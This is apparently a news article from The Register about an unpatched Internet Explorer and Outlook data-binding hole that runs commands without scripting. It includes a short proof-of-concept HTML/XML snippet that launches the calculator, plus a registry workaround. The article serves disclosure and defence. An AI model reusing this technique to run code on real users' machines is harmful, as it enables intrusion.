Feeds

IE, Outlook run malicious commands without scripting

No patch, but the workaround works

  • alert
  • submit to reddit

The smart choice: opportunity from uncertainty

An attacker can run arbitrary commands on Windows machines with a simple bit of HTML, an Israeli security researcher has demonstrated. The exploit will work with IE, Outlook and OutlooK Express even if active scripting and ActiveX are disabled in the browser security settings.

The problem here is data binding, an old 'feature' going back to IE4 in which a data source object (DSO) is bound to HTML.

Using an XML data source, the researchers operating a Web site called GreyMagic Software came up with a simple example in which a few lines will cause Windows to launch the calculator application thus:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
    <security>
        <exploit>
            <![CDATA[
            <object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/windows/system32/calc.exe"></object>
            ]]>
        </exploit>
    </security>
</xml>

You can copy and paste this into a text editor, though you must edit the path to calc.exe in the script if it differs from the path on your system, and name it whatever.htm. Then open the file with your browser and watch the calculator launch.

MS has yet to patch the hole, but we've verified that a workaround proposed by Axel Pettinger and Garland Hopkins works on the above example, though that's no guarantee that it will work on every exploit of this sort.

Using regedit.exe find the following key:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]
and change the value of "1004" (DWORD) from "0" to "3".

Don't forget to back up your registry before making changes, even innocuous ones like this.

You can then re-boot and open the example file with your browser again to verify that it fails to launch the calculator. However, the workaround will often cause IE to launch a security warning dialog box which has to be cleared before you can continue surfing. It tells you that your security settings are interfering with your rich Internet experience, and you can't tick a box ordering it to stop warning you of what you already know.

Personally I believe MS does this to discourage high security settings in IE which interfere with the rich eXPeriences advertisers have in store for you on the Web, and which MS seems inexplicably eager to vouchsafe. You don't get sick of the slightly scaled-down functionality; you get sick of the endless warnings and eventually capitulate and restore your settings to Redmond-approved, and Direct Marketing Association-approved, levels.

But we digress.

Obviously, there's a slew of malicious activities which can be attempted with this exploit, and a slew of people busily working on them. Thus it might be prudent to apply the workaround until Redmond issues a patch -- if you can stand to be harangued about your security settings at every turn, that is. ®

Securing Web Applications Made Simple and Scalable

More from The Register

next story
KDE releases ice-cream coloured Plasma 5 just in time for summer
Melty but refreshing - popular rival to Mint's Cinnamon's still a work in progress
NO MORE ALL CAPS and other pleasures of Visual Studio 14
Unpicking a packed preview that breaks down ASP.NET
Secure microkernel that uses maths to be 'bug free' goes open source
Hacker-repelling, drone-protecting code will soon be yours to tweak as you see fit
Cheer up, Nokia fans. It can start making mobes again in 18 months
The real winner of the Nokia sale is *drumroll* ... Nokia
Put down that Oracle database patch: It could cost $23,000 per CPU
On-by-default INMEMORY tech a boon for developers ... as long as they can afford it
Another day, another Firefox: Version 31 is upon us ALREADY
Web devs, Mozilla really wants you to like this one
Google shows off new Chrome OS look
Athena springs full-grown from Chromium project's head
prev story

Whitepapers

Designing a Defense for Mobile Applications
Learn about the various considerations for defending mobile applications - from the application architecture itself to the myriad testing technologies.
Implementing global e-invoicing with guaranteed legal certainty
Explaining the role local tax compliance plays in successful supply chain management and e-business and how leading global brands are addressing this.
Top 8 considerations to enable and simplify mobility
In this whitepaper learn how to successfully add mobile capabilities simply and cost effectively.
Seven Steps to Software Security
Seven practical steps you can begin to take today to secure your applications and prevent the damages a successful cyber-attack can cause.
Boost IT visibility and business value
How building a great service catalog relieves pressure points and demonstrates the value of IT service management.